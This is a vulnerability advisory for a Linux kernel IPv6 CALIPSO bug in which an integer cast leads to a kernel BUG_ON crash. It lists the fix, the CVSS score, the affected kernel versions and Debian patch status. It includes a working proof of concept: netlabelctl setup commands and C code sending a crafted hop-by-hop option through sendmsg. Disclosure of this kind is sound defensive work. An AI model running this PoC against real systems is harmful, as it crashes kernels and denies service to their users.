CVE-2025-71085

EUVD-2026-2249
In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
	Using `netlabelctl` tool:

        netlabelctl map del default
        netlabelctl calipso add pass doi:7
        netlabelctl map add default address:0::1/128 protocol:calipso,7

        Then run the following PoC:

        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

        // setup msghdr
        int cmsg_size = 2;
        int cmsg_len = 0x60;
        struct msghdr msg;
        struct sockaddr_in6 dest_addr;
        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                        sizeof(struct cmsghdr) + cmsg_len);
        msg.msg_name = &dest_addr;
        msg.msg_namelen = sizeof(dest_addr);
        msg.msg_iov = NULL;
        msg.msg_iovlen = 0;
        msg.msg_control = cmsg;
        msg.msg_controllen = cmsg_len;
        msg.msg_flags = 0;

        // setup sockaddr
        dest_addr.sin6_family = AF_INET6;
        dest_addr.sin6_port = htons(31337);
        dest_addr.sin6_flowinfo = htonl(31337);
        dest_addr.sin6_addr = in6addr_loopback;
        dest_addr.sin6_scope_id = 31337;

        // setup cmsghdr
        cmsg->cmsg_len = cmsg_len;
        cmsg->cmsg_level = IPPROTO_IPV6;
        cmsg->cmsg_type = IPV6_HOPOPTS;
        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

        sendmsg(fd, &msg, 0);
ProviderTypeBase ScoreAtk. VectorAtk. ComplexityPriv. RequiredVector
NISTPrimary
5.5 MEDIUM
LOCAL
LOW
LOW
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Base Score
CVSS 3.x
EPSS Score
Percentile: Unknown
Affected Products (NVD)
VendorProductVersion
linuxlinux_kernel
4.8.1 ≤
𝑥
< 5.10.248
linuxlinux_kernel
5.11 ≤
𝑥
< 5.15.198
linuxlinux_kernel
5.16 ≤
𝑥
< 6.1.160
linuxlinux_kernel
6.2 ≤
𝑥
< 6.6.120
linuxlinux_kernel
6.7 ≤
𝑥
< 6.12.64
linuxlinux_kernel
6.13 ≤
𝑥
< 6.18.4
linuxlinux_kernel
4.8
linuxlinux_kernel
6.19:rc1
linuxlinux_kernel
6.19:rc2
linuxlinux_kernel
6.19:rc3
linuxlinux_kernel
6.19:rc4
linuxlinux_kernel
6.19:rc5
linuxlinux_kernel
6.19:rc6
linuxlinux_kernel
6.19:rc7
linuxlinux_kernel
6.19:rc8
𝑥
= Vulnerable software versions
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Debian Releases
Debian Product
Codename
linux
bookworm
vulnerable
bookworm (security)
6.1.164-1
fixed
bullseye
vulnerable
bullseye (security)
5.10.251-1
fixed
forky
6.19.11-1
fixed
sid
6.19.11-1
fixed
trixie
6.12.73-1
fixed
trixie (security)
6.12.74-2
fixed
linux-6.1
bullseye (security)
6.1.164-1~deb11u1
fixed